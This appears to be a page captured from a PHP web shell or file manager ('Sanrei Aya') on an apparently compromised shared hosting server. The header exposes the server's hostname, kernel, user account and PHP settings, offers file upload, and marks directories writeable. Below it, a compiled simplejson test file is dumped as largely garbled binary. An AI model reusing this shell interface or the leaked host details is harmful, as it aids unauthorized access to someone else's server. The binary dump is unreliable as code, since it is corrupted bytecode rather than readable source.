Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /lib64/python3.9/site-packages/simplejson/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python3.9/site-packages/simplejson/tests/__pycache__/test_errors.cpython-39.pyc
a

\Փa!�@sHddlZddlZddlmZddlZddlmZmZGdd�de�Z	dS)�N)�TestCase)�	text_type�bc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�
TestErrorscCs\ddddd�g}zt�|�Wnty<t��d}Yn0|�d�|�t|�d�dS)	N�A)��g@zD tuple)�ar�c)�d��Expected TypeErrorz5keys must be str, int, float, bool or None, not tuple��json�dumps�	TypeError�sys�exc_info�fail�assertEqual�str)�self�data�err�r�B/usr/lib64/python3.9/site-packages/simplejson/tests/test_errors.py�test_string_keys_errors

�z!TestErrors.test_string_keys_errorcCsLzt�t�Wnty,t��d}Yn0|�d�|�t|�d�dS)Nrr
z.Object of type module is not JSON serializabler�rrrrr�test_not_serializables

�z TestErrors.test_not_serializablecCszd}zt�d�Wn tjy2t��d}Yn0|�d�|�|jd�|�|jd�|�|j	d�|�|j
d�dS)N�{}
a
br�Expected JSONDecodeErrorr�)r�loads�JSONDecodeErrorrrrr�lineno�colnoZ	endlinenoZendcolnorrrr�test_decode_errors
zTestErrors.test_decode_errorc	Cspd}ttfD]^}zt�|d��Wn tjyBt��d}Yn0|�d�|�|j	d�|�|j
d�qdS)Nz
{"asdf": "rr �
)rrrr"r#rrrrr$r%)rr�trrr�test_scan_error*s
zTestErrors.test_scan_errorcCs�d}zt�d�Wn tjy2t��d}Yn0|�d�t�|�}t�|�}|�|j	|j	�|�|j
|j
�|�|j|j�|�|j|j�dS)Nrrr )
rr"r#rrr�picklerr�msg�doc�pos�end)rr�s�errr�test_error_is_pickable6s


z!TestErrors.test_error_is_pickableN)�__name__�
__module__�__qualname__rrr&r)r1rrrrrs


r)
rr*ZunittestrZ
simplejsonrZsimplejson.compatrrrrrrr�<module>s

Yohohohohohooho | Sanrei Aya